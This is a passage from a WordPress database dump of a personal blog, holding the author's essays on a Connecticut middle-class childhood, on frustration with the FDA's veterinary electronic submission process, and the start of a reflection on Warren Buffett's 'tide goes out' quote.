{\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F04daa58e-ea87-44df-b095-84884213d857_350x280.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F04daa58e-ea87-44df-b095-84884213d857_350x280.jpeg\" alt=\"\"/></a><figcaption class=\"wp-element-caption\">According to Wikipedia, this is a painting of the official Charter Oak, in whose hollow our Charter was allegedly hid.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>2. After elementary school, I attended a private middle and high school until I left for university at age 18. This school was roughly $20-30k per year to attend, more than double the cost of my elementary school.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Growing up, I had a very strong sense that I absolutely had to attend this private school as my local public middle and high school were, supposedly, gang-ridden. In retrospect, given that I grew up in a town that had a median income of $70k and that most of my friends from elementary school went to the public school, this is very unlikely. Still, the teaching quality was probably better. And, more importantly, the private school was able to kick out problem students in a way that the public school was not.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Interestingly, I also had a very strong sense that the public school of the town next door, East Lyme, was the sort of school I’d be fortunate to attend. Unfortunately, legally, I was unable to attend that school. My parents checked.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3. As a Jewish kid, I was expected to have a Bar-Mitzvah, a traditional coming-of-age ceremony at age 13. This entailed several months of Sunday morning Bible study (easy for someone who had gone to Jewish school), a Saturday of leading prayers and chanting from the Torah, and then an expensive party.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For my party, my parents rented a ballroom at the Marriott, hired a DJ/MC, and catered a buffet style dinner for several hundred guests, including my friends, everyone in the local Jewish community, and extended family. This was a nice party but not exceptional by the standards of the community. The exceptional party was thrown by the daughter of the family that owned the Marriott (and about 30 other Marriotts besides), who turned the ballroom of a Marriott into a kid-friendly mall in which all items were free.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Because I had gone to a Jewish school and then Sunday morning Bible study, I ended up being invited to probably 40 Bar and Bat Mitzvahs around age 13. This took up a lot of my social calendar for about a year or so, and I became adept at slipping into Bar and Bat Mitzvahs right as the prayers would end and the pre-party would begin.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In retrospect, this was the last time I felt really plugged into a broader community like that. After the flurry of Bar and Bat Mitzvahs ended, I stopped attending synagogue, as did most of my friends, and I slowly drifted away from the Jewish community (although not enough to avoid news of myself being still spread around the community, as I find out every time I visit). In retrospect, this explained why the average age of synagogue attendees was so old.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>4. I had never taken school seriously, in any form, before age 12. I got good grades, but that was very easy. I mostly just tried to read by myself.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Starting by age 12, my parents ratcheted up the pressure on me to perform well in school in all respects. Not only did that mean I needed excellent grades, it also meant I needed to be good at sports and, ideally, popular. I had been on-and-off with tennis, swimming, and soccer lessons since I was 4 or 5, but suddenly that became more serious. I joined the school soccer, swimming, and tennis teams, along with taking tennis lessons on the side. As an ok athlete, this meant that I was pretty good at tennis, and not great at either of the other two. This also kept me busy for 2 hours a day every weekday.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The ultimate goal for all of this was, of course, college. I first met with a college counselor at age 12 or 13, who provided oracular advice to me and my parents on how to structure the next 6 years of my life in order to get into an excellent college. The most important thing, in the counselor’s mind, was to be incredible at something. The easiest way to do this was to be incredibly talented at a niche sport, like squash or fencing, although starting a youth organization that got national recognition was also a good way to do it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I ended up falling in love with breakdancing and hip hop at age 13 or 14 and joining a local dance group. We would travel around and compete against other dance groups at big competitions. This was much more organized than it sounds, as the big competitions were organized by a billion dollar company, Varsity, which also organized huge cheerleading competitions that would later be valorized on Netflix.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>My parents were at first completely baffled by why and how I was so interested in breakdancing. But once they realized that there were competitions that were legible to a college admissions officer, they were on board, and my dad dutifully ferried me to competitions across the east coast of the US.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Overall, this was a great part of my childhood. I had a fun time, my team won “Worlds”, and it helped me get into an excellent school. However, it was a much worse bargain for the rest of my team, many of whom could barely afford the fees for the team itself, never mind the travel, and had no intention of going to excellent schools or even college at all. Still, I see a lot of them reminiscing on Facebook about the time they were an “international dance champion”, so maybe it was worth it in that sense.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F775691ce-6cbe-408d-b5dd-de90d8c706ef_1802x1428.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F775691ce-6cbe-408d-b5dd-de90d8c706ef_1802x1428.png\" alt=\"\"/></a><figcaption class=\"wp-element-caption\">This is a poor-quality video of one of our winning performances. I can’t figure out which one I am.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>5. Being popular was a tough nut to crack in middle school and high school. The cool kids in my high school were not athletes or the class president. The cool kids were the kids who didn’t care about anything except drugs. At my Bar Mitzvah, for instance, some of the cool kids showed up high. To be clear, these were 12 year olds showing up high on a Saturday morning at a synagogue.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, to be popular, good in school, and good at sports was an impossible thing to do honestly. My brothers managed it by hiding how much they cared about sports or school. I didn’t manage it, and made friends with the nerdy kids. This worked until my last two years of high school, when my nerdy friends also got very into drugs and alcohol. They would drink and smoke themselves into a stupor. Because I didn’t want to join them, I eventually no longer got invited to their parties, and spent the last year of high school quite lonely.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>6. My parents were quite strict about anything they thought could get us off track of going to an excellent university. This meant that drugs, alcohol, and friends on weekdays were off-limits.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Nothing else really mattered, though. Girlfriends were not only welcomed but encouraged, and my parents were totally ok with locked doors and suspiciously loud music. Similarly, there were no real expectations of any sort of community involvement, besides the odd religious holiday. There was an expectation of “productive” summers, but summer camp was included in that definition of productive.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The only exception to this was chores, which were important. We did have to clean the dishes, take out the trash, and shovel snow and/or dog shit, depending on the season.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>7. Speaking of dishes, my mother worked and my father stayed home, which meant homecooked meals were the exception rather than the norm. Dinner was either steak with mashed potatoes, spaghetti with meatballs or steak, or takeout. My mom’s cooking on her nights off was a welcome relief.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>8. While takeout was incredibly common, eating out at a restaurant was not. A big part of this was just that we were geographically isolated from anything other than houses. It was over a mile walk to any store and there were no continual sidewalks.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There also was no reliable public transportation. So, the only way to get to any, well, anything, was to drive. The single most important event of every single kid and parent’s life was getting a driver’s license, as that marked the transition from your (or your friend’s) parent transporting you to you transporting yourself. Every single part of a child’s life opened up after age 16.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Before that, I had to walk anywhere I wanted to go, which was not easy. To get to the mall, I had to walk about a mile and a half and cross a highway. To get to a bookstore or cafe, I had to walk a mile and a half alongside a highway. Basically, the single most prominent architectural feature was the highway.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>9. Speaking of getting around, my brothers and I were allowed to explore our neighborhood from an early age, whether by foot or by bike. This was less exciting than it sounded, as our neighborhood was solely single-family houses, and the only people we knew were our direct neighbors. It was pretty impossible to meet anyone else as they just stayed in their houses.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>We were not allowed to go into the city, and we were thoroughly scared enough not to go. It was heavily impressed upon us that, if we did go, we’d likely be shot. It’s hard to say how fair this was. New London does have a murder rate around double the national average, which amounts to 2-3 people killed per year.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I will say that none of my friends who spent much more time than I did in the city ever got shot or even beat up. And, when I started to spend more time in the city after getting a car, I never felt unsafe.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>10. As probably seems obvious by now, there was a strong undercurrent of fear that ran throughout my childhood.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>From an early age, there was the pervasive fear of something bad happening to the Jews again, reinforced by intertwined lessons about the Egyptian Pharaoh and Hitler (on a side note, these metaphors were lost on me, and I spent a fair amount of my childhood treating them both as equally historical fact and possibly contemporaries).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Starting in the middle of elementary school, the September 11 attacks occurred, and we added an additional fear of attacks happening to America. The local nuclear power plant distributed leaflets on how and when to take iodine pills in case an attack triggered a meltdown.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In middle school, there were new fears. There were fears of people from “the city” who came on scholarship to my private school, fears of being a loser, and fears of having the wrong friends.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And then, finally, there were high school fears. Fears of not getting into the right college, fears of never getting out of my town, and, suddenly, fears for my friends of the sudden contagion of depression, anxiety, and drug/alcohol addiction that seemed to run through my high school like wildfire.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>That last one came as a shock. I ended up spending all of my final year of high school talking my best friend out of harming himself, his ex-girlfriend, or anyone else, in front of a backdrop of my other close friends smoking themselves into oblivion every night. As I said before, it was a lonely time, especially once I felt like I could no longer take responsibility for my best friend’s well-being. I ratted on him to his parents and to the school principal, and, after talking to him every day for at least 4 years, I haven’t talked to him since. That was just about 12 years ago now.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>11. It’s easy now, in retrospect, to see where this fear might have come from. The middle class in America is always in a precarious position, even the upper middle class like mine. Fear is always part of the package, both the worry that you’ll drop down to the lower (or “working”) class and the anxiety that you’ll ever make it to the upper class.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To my parents, community colleges, state schools, and working at McDonald’s were all part of the same package of threats that they used to launch at me whenever they felt I wasn’t trying hard enough to get into a good school. And good schools, of course, were those that were on top of the US News and World Report list, and that promised good lives and good jobs at the top of the American social system.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>12. The specific contagion of anxiety, depression, and substance abuse that swept my high school is probably also explainable. I entered high school in 2007, and my classmates (and our parents) went through both the national financial crisis of 2008. Many of the mortgages on my classmates’ homes went underwater, and many of my classmates’ parents lost their jobs. My father, a self-employed investor, went through several years of waking up at 4 am to reexamine his portfolio, and went through an almost compulsive phase of saving home energy costs by turning off lights, often while people were still in the room.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And, in 2009, Pfizer, possibly the biggest white collar employer in my local region, announced they were shutting their R&amp;D Center in New London and moving it to Cambridge, MA, about a mile away from where I’m writing this now. Ironically, this was right after winning a Supreme Court case for the right to build it in New London through eminent domain. Many of the most senior people’s jobs were eliminated, while the less senior people were told they had to move to Cambridge if they wanted to keep their jobs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>These were twin shocks: one national, one local. We had been told throughout my childhood that our way of life was in danger: from the Japanese, who would outcompete us; from the Muslim world, who would terrorize us; from the Chinese, who would undercut us. We were never told that the danger could come from within, that PDFs and Excel spreadsheets in our own city could betray us.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’s hard to ever really figure out cause and effect, and what changes a life. I can’t say that all of our problems were because of this. I can say for sure that it was sad to see a former research scientist with a PhD forced to teach 7th grade biology, and then get fired because he couldn’t pretend interest in it. I can say for sure that many parents became too preoccupied to notice their 16 year old children piling out wine bottles in their room, or smoking so much weed that they started to believe in the reptilian conspiracy.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And I can definitely say for sure that it was very strange to see a full 20% of my class in a college preparatory school not go to college, and that many of those kids still haven’t found a path more than 10 years later, and that, in my brothers’ class two years earlier, almost everyone went to college and now have respectable jobs and families. But can I really trace that back to a CEO’s choice to lay off a bunch of people to save money? I don’t know.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>13. Rapid fire facts for the international people in the audience:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>a. Guns are very common in America, but not in my corner. There was a local gun range I went to once, but none of my friends owned a gun. We did play paintball and laser tag, though, which are both very fun imitations of shooting each other.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>b. Nobody ever dances at white American parties. This is a continual source of regret for me.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>c. Growing up, I heard mostly English, and occasionally Spanish in the less wealthy neighborhoods. I didn’t hear any other languages spoken in the street until college, which is probably why nobody in my school ever managed to learn a foreign language. Even my French teacher admitted that she couldn’t understand spoken French.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>d. Casual racism in school was very common, as was homophobic language. This changed rapidly, though, and I get the sense that now that is not true at all. Transphobia was not common because we weren’t aware of the existence of transgender people until a girl in my brothers’ class transitioned, and then we were mostly just baffled by it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>e. We did drink from red solo cups and play beer pong at parties.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>f. The international food options were American Chinese food, sushi, Americanized Indian food, and Thai food. I still remember the excitement of ordering off of the hidden, Chinese-only menu at our local Wokery. It was not good.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>g. There are strict laws in the US about how many hours people under 18 could work. There was also a strange disdain for casual entrepreneurship by children, like mowing lawns or delivering newspapers. All of this meant that it was not that common for myself or my friends to have any sort of money-making ventures during the school year, even for my friends whose families were much worse off than mine.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>h. This is not a fact, but in my last year of high school, my friend Dan had recently broken up with his girlfriend, Alice, in favor of the girl who had been crushing on him for years, Michelle. My high school had a tradition in which students were supposed to compose and perform original pieces for an annual concert.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Alice composed a piece about how much she missed Dan, and she had all these lines about how the sheets in her bed still bear his imprint. Michelle composed a piece about how happy she was that they were finally together. Michelle’s piece won an award, and Alice’s didn’t. Dan’s face was beet red the entire night.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>i. My parents, like most Northeastern middle class Americans, saw proper places to go on vacation as the following: Colorado for skiing, Florida for tennis and theme parks, Western Europe for culture, and Caribbean resorts for relaxing. We went to Canada once (even though it was only a few hours north by driving), California and Alaska once, and Mexico and our national parks never.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I still haven’t been to most of the US.</p>\n<!-- /wp:paragraph -->','Peculiar facets of my ordinary, middle-class American childhood','','inherit','closed','closed','','336-revision-v1','','','2023-01-18 17:05:05','2023-01-18 17:05:05','',336,'https://trevorklee.com/?p=337',0,'revision','',0),
(338,1,'2023-01-18 17:08:44','2023-01-18 17:08:44','<!-- wp:paragraph -->\n<p>In my small, niche corner of Reddit, I recently went viral (by small, niche Reddit standards) for the following post.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F5ea16166-80dc-455d-a1f2-2dfd6c701ff1_1282x1384.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F5ea16166-80dc-455d-a1f2-2dfd6c701ff1_1282x1384.png\" alt=\"\"/></a></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Someone in the comments said that “Presented without comment” is somewhat disingenuous, as I obviously did have a comment with the framing. Perhaps they were right. So, I thought I’d write my comment on this.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>First of all, my interest in this is not academic. I have personally been struggling through this flowchart for about a month now, because I have to submit a document to get an exemption from the $130k/year fee for the FDA being aware of the fact that you are trying to get a drug approved (seriously). Note that this is separate from any of the fees you have to pay to actually get the drug approved.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The WebTrader software mentioned in the top left is so difficult to use that I actually hired a consultant to use it for me. The consultant got stuck because I needed to register with the FDA before he could register as a consultant for me, which neither of us knew. As it turns out, the “Letter of Non-Repudiation” is the registration.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Once I figured that out, I sent the letter. That was almost 3 weeks ago. Unfortunately, I found out yesterday that I sent the letter to the wrong address: the one mentioned on the website, rather than on the pdf that I got the flowchart from. So then I sent another letter to the right address, using the template in the pdf. However, once I sent the letter, I got suspicious that the template didn’t have a place to put my company name, which seemed weird for a registration letter. I called the FDA’s full-time technical help desk for electronic submissions, and he confirmed that I needed to modify the template to put my company’s name in.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I then sent another letter with the modified template. Hopefully, this one will be correct. From there, I will either use the consultant to use the WebTrader software for me, or I will once again figure it out myself, this time making full use of the FDA’s full-time technical help desk.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I think it’s important for me to note that this consultant is separate from the strategic consultant I have hired to help me deal with the FDA. While the strategic consultant helps me construct the letters that I send to the FDA, he is a retired veterinarian/pharm exec, which means that he does not feel comfortable giving technological advice on how to use the FDA’s electronic submission software. In fact, none of the strategic FDA consultants I talked to feel comfortable with that, and all of them encouraged me to hire another consultant for this technological issue.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The most absurd part of all of this, of course, is that this electronic submissions software was supposed to be the Center for Veterinary Medicine’s (CVM) great leap forward into the technological future, where this would be an easier and faster way of submitting documents than by mail. Well, actually maybe the most absurd part is that this flowchart is actually helpful, because I have been struggling for over a month to figure out the steps required to submit electronic documents to the CVM, and did not think to check on page 12 of a pdf on the FDA’s website. For the record, I have submitted electronic documents to multiple federal and state governmental agencies and have never had to go through something like this.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Actually, maybe the most absurd part is that, after all of this, I will still have to jump through all the hoops the CVM requires to submit all my documents in the proper format. This is only the beginning of my FDA hoop-jumping journey.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, what are my overall thoughts on this?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. This is an obviously ridiculous tax on productivity. Either I spend my time, my company’s money, or both trying to solve a problem that is entirely the FDA’s. Literally they could have an inbox that I email documents to, and templates as to what documents I need to email them. There aren’t that many companies working on veterinary drugs that the FDA needs a dedicated solution to electronic submissions, and certainly not one that’s this complex.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. One of the most important parts of entrepreneurship, especially in hard-tech fields, is patience. Not to sound too self-congratulatory, but very few people can comfortably navigate being clever and willingly going through very dumb processes. I think a lot of very smart young people have great ideas but get stuck the first time they encounter something stupid they have to go through.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3. When I think about who benefits from this system, it seems pretty clear. There’s the FDA, who gets fewer submissions and gets to create a full-time help desk, whoever got paid to create this system, and the consultants.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Pharma suffers, but especially small or first time pharma (like my company), who don’t have dedicated people to navigate this. And then, of course, the consumer, who gets fewer pharma drugs and gets these costs passed onto them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>4. You may insert political commentary here.</p>\n<!-- /wp:paragraph -->','My struggle with step 1 of the FDA\'s 15 step flowchart','','publish','closed','closed','','my-struggle-with-step-1-of-the-fdas-15-step-flowchart','','','2023-01-18 17:08:44','2023-01-18 17:08:44','',0,'https://trevorklee.com/?page_id=338',0,'page','',0),
(339,1,'2023-01-18 17:08:44','2023-01-18 17:08:44','<!-- wp:paragraph -->\n<p>In my small, niche corner of Reddit, I recently went viral (by small, niche Reddit standards) for the following post.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F5ea16166-80dc-455d-a1f2-2dfd6c701ff1_1282x1384.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F5ea16166-80dc-455d-a1f2-2dfd6c701ff1_1282x1384.png\" alt=\"\"/></a></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Someone in the comments said that “Presented without comment” is somewhat disingenuous, as I obviously did have a comment with the framing. Perhaps they were right. So, I thought I’d write my comment on this.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>First of all, my interest in this is not academic. I have personally been struggling through this flowchart for about a month now, because I have to submit a document to get an exemption from the $130k/year fee for the FDA being aware of the fact that you are trying to get a drug approved (seriously). Note that this is separate from any of the fees you have to pay to actually get the drug approved.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The WebTrader software mentioned in the top left is so difficult to use that I actually hired a consultant to use it for me. The consultant got stuck because I needed to register with the FDA before he could register as a consultant for me, which neither of us knew. As it turns out, the “Letter of Non-Repudiation” is the registration.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Once I figured that out, I sent the letter. That was almost 3 weeks ago. Unfortunately, I found out yesterday that I sent the letter to the wrong address: the one mentioned on the website, rather than on the pdf that I got the flowchart from. So then I sent another letter to the right address, using the template in the pdf. However, once I sent the letter, I got suspicious that the template didn’t have a place to put my company name, which seemed weird for a registration letter. I called the FDA’s full-time technical help desk for electronic submissions, and he confirmed that I needed to modify the template to put my company’s name in.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I then sent another letter with the modified template. Hopefully, this one will be correct. From there, I will either use the consultant to use the WebTrader software for me, or I will once again figure it out myself, this time making full use of the FDA’s full-time technical help desk.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I think it’s important for me to note that this consultant is separate from the strategic consultant I have hired to help me deal with the FDA. While the strategic consultant helps me construct the letters that I send to the FDA, he is a retired veterinarian/pharm exec, which means that he does not feel comfortable giving technological advice on how to use the FDA’s electronic submission software. In fact, none of the strategic FDA consultants I talked to feel comfortable with that, and all of them encouraged me to hire another consultant for this technological issue.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The most absurd part of all of this, of course, is that this electronic submissions software was supposed to be the Center for Veterinary Medicine’s (CVM) great leap forward into the technological future, where this would be an easier and faster way of submitting documents than by mail. Well, actually maybe the most absurd part is that this flowchart is actually helpful, because I have been struggling for over a month to figure out the steps required to submit electronic documents to the CVM, and did not think to check on page 12 of a pdf on the FDA’s website. For the record, I have submitted electronic documents to multiple federal and state governmental agencies and have never had to go through something like this.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Actually, maybe the most absurd part is that, after all of this, I will still have to jump through all the hoops the CVM requires to submit all my documents in the proper format. This is only the beginning of my FDA hoop-jumping journey.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, what are my overall thoughts on this?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. This is an obviously ridiculous tax on productivity. Either I spend my time, my company’s money, or both trying to solve a problem that is entirely the FDA’s. Literally they could have an inbox that I email documents to, and templates as to what documents I need to email them. There aren’t that many companies working on veterinary drugs that the FDA needs a dedicated solution to electronic submissions, and certainly not one that’s this complex.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. One of the most important parts of entrepreneurship, especially in hard-tech fields, is patience. Not to sound too self-congratulatory, but very few people can comfortably navigate being clever and willingly going through very dumb processes. I think a lot of very smart young people have great ideas but get stuck the first time they encounter something stupid they have to go through.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3. When I think about who benefits from this system, it seems pretty clear. There’s the FDA, who gets fewer submissions and gets to create a full-time help desk, whoever got paid to create this system, and the consultants.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Pharma suffers, but especially small or first time pharma (like my company), who don’t have dedicated people to navigate this. And then, of course, the consumer, who gets fewer pharma drugs and gets these costs passed onto them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>4. You may insert political commentary here.</p>\n<!-- /wp:paragraph -->','My struggle with step 1 of the FDA\'s 15 step flowchart','','inherit','closed','closed','','338-revision-v1','','','2023-01-18 17:08:44','2023-01-18 17:08:44','',338,'https://trevorklee.com/?p=339',0,'revision','',0),
(340,1,'2023-01-18 17:15:14','2023-01-18 17:15:14','<!-- wp:paragraph -->\n<p>There’s a famous quote by Warren Buffett that’s something along the lines of, “It’s only when the tide goes out that you find out who’s been swimming naked.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’ve been thinking about this quote recently. Now, when the Prophet of Omaha said this, he was referring to businesses whose bad financials are revealed once there’s an economic downturn, which, coincidentally, happens to actually be very relevant right now. But, that’s not the way I’ve been thinking about it.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I think there’s a real psychological truth embedded in this as well. Psychologically, when intellectual tides are raising all swimmers in a certain field, it’s easy to happily paddle away with no swimtrunks on. Raising money is easy. Getting interest and validation from your friends is easy. Every tweet about your progress gets 50 likes and 5 comments, easy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now maybe, despite all the validation, you still feel like you’re naked. You have a sense of imposter syndrome, or you have internal doubts about whether being able to paddle in a rising tide can eventually turn into you being a champion open-water swimmer, despite your tweets to the contrary. But everyone else is cheering you on, and you know of at least a couple people who are even more naked than you are, and so being naked seems like not such a big deal, at least not right now. You keep just paddling and waving, enjoying the rising tide.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Ffbc1d335-890c-45e7-8a1c-e753aa1b3971_1920x1384.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Ffbc1d335-890c-45e7-8a1c-e753aa1b3971_1920x1384.jpeg\" alt=\"Meet The Swimming Pigs of The Bahamas\" title=\"Meet The Swimming Pigs of The Bahamas\"/></a><figcaption class=\"wp-element-caption\">If you’re unlucky, tourists will come up to you and try to pet you.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>But then the tide goes out. There are fewer people cheering. Whatever limited boats were offering assistance to swimmers (possibly lending out swimsuits) seem much fewer and farther between. The water is getting colder, and cold water plus nakedness is a bad mix, especially if people can see you. Just paddling is harder, and you realize that if you actually try to become an open-water swimmer, there’s no way you can avoid showing your bare ass to the world.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So what do you do? Ideally, when the tide was rising, you would have knit yourself a swimsuit, so it’d be a little less cold now. It also would have been smart to have already had a plan 